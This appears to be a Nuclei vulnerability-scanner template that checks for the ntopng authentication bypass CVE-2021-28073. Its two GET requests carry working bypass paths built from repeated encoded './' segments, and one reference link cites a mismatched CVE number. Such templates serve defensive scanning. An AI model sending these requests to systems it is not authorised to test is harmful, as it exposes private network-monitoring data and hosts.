Ntopng Authentication Bypass

id: CVE-2021-28073

info:
  name: Ntopng Authentication Bypass
  author: z3bd
  severity: critical
  description: Ntopng, a passive network monitoring tool, contains an authentication bypass vulnerability in ntopng <= 4.2
  impact: |
    Successful exploitation of this vulnerability could result in unauthorized access to sensitive information and potential compromise of the affected system.
  remediation: Upgrade to version 4.3 or later.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2021-27573
    - http://noahblog.360.cn/ntopng-multiple-vulnerabilities/
    - https://github.com/AndreaOm/docs/blob/c27d2db8dbedb35c9e69109898aaecd0f849186a/wikipoc/PeiQi_Wiki/%E6%9C%8D%E5%8A%A1%E5%99%A8%E5%BA%94%E7%94%A8%E6%BC%8F%E6%B4%9E/HongKe/HongKe%20ntopng%20%E6%B5%81%E9%87%8F%E5%88%86%E6%9E%90%E7%B3%BB%E7%BB%9F%20%E6%9D%83%E9%99%90%E7%BB%95%E8%BF%87%E6%BC%8F%E6%B4%9E%20CVE-2021-28073.md
  classification:
    cve-id: CVE-2021-28073
  metadata:
    max-request: 2
  tags: cve2021,cve,ntopng,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/lua/%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2ffind_prefs.lua.css"
      - "{{BaseURL}}/lua/.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2ffind_prefs.lua.css"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "application/json"
        part: header

      - type: word
        words:
          - '"results":'
          - '"name":'
          - '"tab":'
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a0047304502206b8d6f01ee67fcaf15495b5b27ccb26b987186ac904d4f334cfd060a26e81b75022100ab5ec8f50fc39e6989a2cfef3c61829fc9b6ee8417a0810fe9457f0b9ba8a02d:922c64590222798bb761d5b6d8e72950